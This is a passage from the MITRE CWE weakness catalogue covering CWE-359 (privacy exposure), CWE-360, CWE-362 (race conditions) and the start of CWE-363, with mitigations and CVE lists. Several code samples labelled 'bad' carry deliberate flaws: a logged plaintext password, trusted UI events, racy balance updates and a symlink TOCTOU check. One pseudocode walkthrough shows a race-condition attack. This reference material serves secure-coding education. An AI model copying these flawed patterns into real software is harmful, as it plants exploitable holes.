Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Observed Examples

Reference	Description
CVE-2002-0862	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0862*
CVE-2002-0970	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0970*
CVE-2002-1407	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1407*
CVE-2005-0198	Logic error prevents some required conditions from being enforced during Challenge-Response Authentication Mechanism with MD5 (CRAM-MD5). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0198*
CVE-2004-2163	Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2163*
CVE-2005-2181	Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2181*
CVE-2005-2182	Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2182*
CVE-2005-2298	Security check not applied to all components, allowing bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2298*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	978	SFP Secondary Cluster: Implementation	888	1948

Notes

Relationship

This is a "missing step" error on the product side, which can overlap weaknesses such as insufficient verification and spoofing. It is frequently found in cryptographic and authentication errors. It is sometimes resultant.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improperly Implemented Security Check for Standard

CWE-359: Exposure of Private Personal Information to an Unauthorized Actor

Weakness ID : 359 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected.

Extended Description

There are many types of sensitive information that products must protect from attackers, including system data, communications, configuration, business secrets, intellectual property, and an individual's personal (private) information. Private personal information may include a password, phone number, geographic location, personal messages, credit card number, etc. Private information is important to consider whether the person is a user of the product, or part of a data set that is processed by the product. An exposure of private information does not necessarily prevent the product from working properly, and in fact the exposure might be intended by the developer, e.g. as part of data sharing with other organizations. However, the exposure of personal private information can still be undesirable or explicitly prohibited by law or regulation.

Some types of private information include:

- Government identifiers, such as Social Security Numbers
- Contact information, such as home addresses and telephone numbers
- Geographic location - where the user is (or was)
- Employment history
- Financial data - such as credit card numbers, salary, bank accounts, and debts
- Pictures, video, or audio
- Behavioral patterns - such as web surfing history, when certain activities are performed, etc.
- Relationships (and types of relationships) with others - family, friends, contacts, etc.
- Communications - e-mail addresses, private messages, text messages, chat logs, etc.
- Health - medical conditions, insurance status, prescription records
- Account passwords and other credentials

Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry.

Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	466

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Alternate Terms

Privacy violation :

Privacy leak :

Privacy leakage :

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Architecture or Design Review

Private personal data can enter a program in a variety of ways: Directly from the user in the form of a password or personal information Accessed from a database or other data store by the application Indirectly from a partner or other third party If the data is written to an external location - such as the console, file system, or network - a privacy violation may occur.

Effectiveness = High

Potential Mitigations

Phase: Requirements

Identify and consult all relevant regulations for personal privacy. An organization may be required to comply with certain federal and state regulations, depending on its location, the type of business it conducts, and the nature of any private data it handles. Regulations may include Safe Harbor Privacy Framework [REF-340], Gramm-Leach Bliley Act (GLBA) [REF-341], Health Insurance Portability and Accountability Act (HIPAA) [REF-342], General Data Protection Regulation (GDPR) [REF-1047], California Consumer Privacy Act (CCPA) [REF-1048], and others.

Phase: Architecture and Design

Carefully evaluate how secure design may interfere with privacy, and vice versa. Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore

believe that it is acceptable store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

Demonstrative Examples

Example 1:

The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.

Example Language: C# *(bad)*

```
pass = GetPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);
```

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.

Example 2:

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

Example Language: XML *(bad)*

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Example Language: Java *(bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

Example 3:

In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [REF-338]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1854

Nature	Type	ID	Name	V	Page
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	1976
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990

Notes

Maintenance

This entry overlaps many other entries that are not organized around the kind of sensitive information that is exposed. However, because privacy is treated with such importance due to regulations and other factors, and it may be useful for weakness-finding tools to highlight capabilities that detect personal private information instead of system information, it is not clear whether - and how - this entry should be deprecated.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Privacy Violation
The CERT Oracle Secure Coding Standard for Java (2011)	FIO13-J		Do not log sensitive information outside a trust boundary

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
464	Evercookie
467	Cross Site Identification

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-338]J. Oates. "AOL man pleads guilty to selling 92m email addies". The Register. 2005. < http://www.theregister.co.uk/2005/02/07/aol_email_theft/ >.

[REF-339]NIST. "Guide to Protecting the Confidentiality of Personally Identifiable Information (SP 800-122)". 2010 April. < http://csrc.nist.gov/publications/nistpubs/800-122/sp800-122.pdf >.

[REF-340]U.S. Department of Commerce. "Safe Harbor Privacy Framework". < http://www.export.gov/safeharbor/ >.

[REF-341]Federal Trade Commission. "Financial Privacy: The Gramm-Leach Bliley Act (GLBA)". < http://www.ftc.gov/privacy/glbact/index.html >.

[REF-342]U.S. Department of Human Services. "Health Insurance Portability and Accountability Act (HIPAA)". < http://www.hhs.gov/ocr/hipaa/ >.

[REF-343]Government of the State of California. "California SB-1386". 2002. < http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html >.

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf >.

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/ >.

CWE-360: Trust of System Event Data

Weakness ID : 360 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Security based on event locations are insecure and can be spoofed.

Extended Description

Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758
ParentOf	V	422	Unprotected Windows Messaging Channel ('Shatter')	912

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control	Gain Privileges or Assume Identity Execute Unauthorized Code or Commands *If one trusts the system-event information and executes commands based on it, one could potentially take actions based on a spoofed identity.*	

Potential Mitigations

Phase: Architecture and Design

Never trust or rely any of the information in an Event for security.

Demonstrative Examples

Example 1:

This example code prints out secret information when an authorized user activates a button:

Example Language: Java *(bad)*

```
public void actionPerformed(ActionEvent e) {
    if (e.getSource() == button) {
        System.out.println("print out secret information");
    }
}
```

This code does not attempt to prevent unauthorized users from activating the button. Even if the button is rendered non-functional to unauthorized users in the application UI, an attacker can easily send a false button press event to the application window and expose the secret information.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1935

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Trust of system event data
Software Fault Patterns	SFP29		Faulty endpoint authentication

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID : 362 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.

Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.

A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

- Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.

- Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ParentOf	B	364	Signal Handler Race Condition	802
ParentOf	B	366	Race Condition within a Thread	809
ParentOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	812
ParentOf	B	368	Context Switching Race Condition	816
ParentOf	B	421	Race Condition During Access to Alternate Channel	911
ParentOf	B	1223	Race Condition for Write-Once Attributes	1741
CanFollow	C	662	Improper Synchronization	1288

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	812

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Java *(Prevalence = Sometimes)*

Technology : Mobile *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)	

Scope	Impact	Likelihood
	When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).	
Availability	DoS: Crash, Exit, or Restart DoS: Instability *When a race condition allows multiple control flows to access a resource simultaneously, it might lead the program(s) into unexpected states, possibly resulting in a crash.*	
Confidentiality Integrity	Read Files or Directories Read Application Data *When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).*	

Detection Methods

Black Box

Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box

Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Effectiveness = Moderate

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Framework-based Fuzzer Cost effective for partial coverage: Fuzz Tester Monitored Virtual

Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Phase: Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Phase: Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

Phase: Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Phase: Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Phase: Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Phase: Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Phase: Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Phase: Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Demonstrative Examples

Example 1:

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

Example Language: Perl *(bad)*

```
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();
if ($transfer_amount < 0) {
    FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
    FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");
```

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Suppose the balance is initially 100.00. An attack could be constructed as follows:

Example Language: Other *(attack)*

```
In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00
```

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Example 2:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C *(bad)*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

Example Language: *(good)*

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Example 3:

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

Observed Examples

Reference	Description
CVE-2019-18827	chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18827*
CVE-2008-5044	Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5044*
CVE-2008-2958	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2958*
CVE-2008-1570	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1570
CVE-2008-0058	Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0058*
CVE-2008-0379	Race condition during initialization triggers a buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0379*
CVE-2007-6599	Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6599*
CVE-2007-6180	chain: race condition triggers NULL pointer dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6180*
CVE-2007-5794	Race condition in library function could cause data to be sent to the wrong process. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5794*
CVE-2007-3970	Race condition in file parser leads to heap corruption. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3970*
CVE-2008-5021	chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5021*
CVE-2009-4895	chain: race condition for an argument value, possibly resulting in NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4895*
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3547*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	1892
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	1894
MemberOf	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	1906
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)	868	1920
MemberOf	C	988	SFP Secondary Cluster: Race Condition Window	888	1952
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	1988

Notes

Maintenance

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.

Research Gap

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Research Gap

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

Research Gap

From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Race Conditions
The CERT Oracle Secure Coding Standard for Java (2011)	VNA03-J		Do not assume that a group of calls to independently atomic methods is atomic

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-349]Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008 February 1. < http://www.ddj.com/cpp/184403766 >.

[REF-350]Steven Devijver. "Thread-safe webapps using Spring". < http://www.javalobby.org/articles/thread-safe/index.jsp >.

[REF-351]David Wheeler. "Prevent race conditions". 2007 October 4. < http://www.ibm.com/developerworks/library/l-sprace.html >.

[REF-352]Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". 1995 September. < http://www.cs.ucdavis.edu/research/tech-reports/1995/CSE-95-9.pdf >.

[REF-353]David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003 March 3. < http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html >.

[REF-354]Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". 2002 April. < http://www.blakewatts.com/namedpipepaper.html >.

[REF-355]Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications". < http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf >.

[REF-356]"Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection. < http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html >.

[REF-357]Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". 2010 March 6. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/ >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

CWE-363: Race Condition Enabling Link Following

Weakness ID : 363 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the software to access the wrong file.

Extended Description

While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the software to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	812
CanPrecede	B	59	Improper Link Resolution Before File Access ('Link Following')	106

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Demonstrative Examples

Example 1:

This code prints the contents of a file if a user has permission.

Example Language: PHP *(bad)*

```
function readFile($filename){
    $user = getCurrentUser();
```

```
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	1891
MemberOf	C	988	SFP Secondary Cluster: Race Condition Window	888	1952
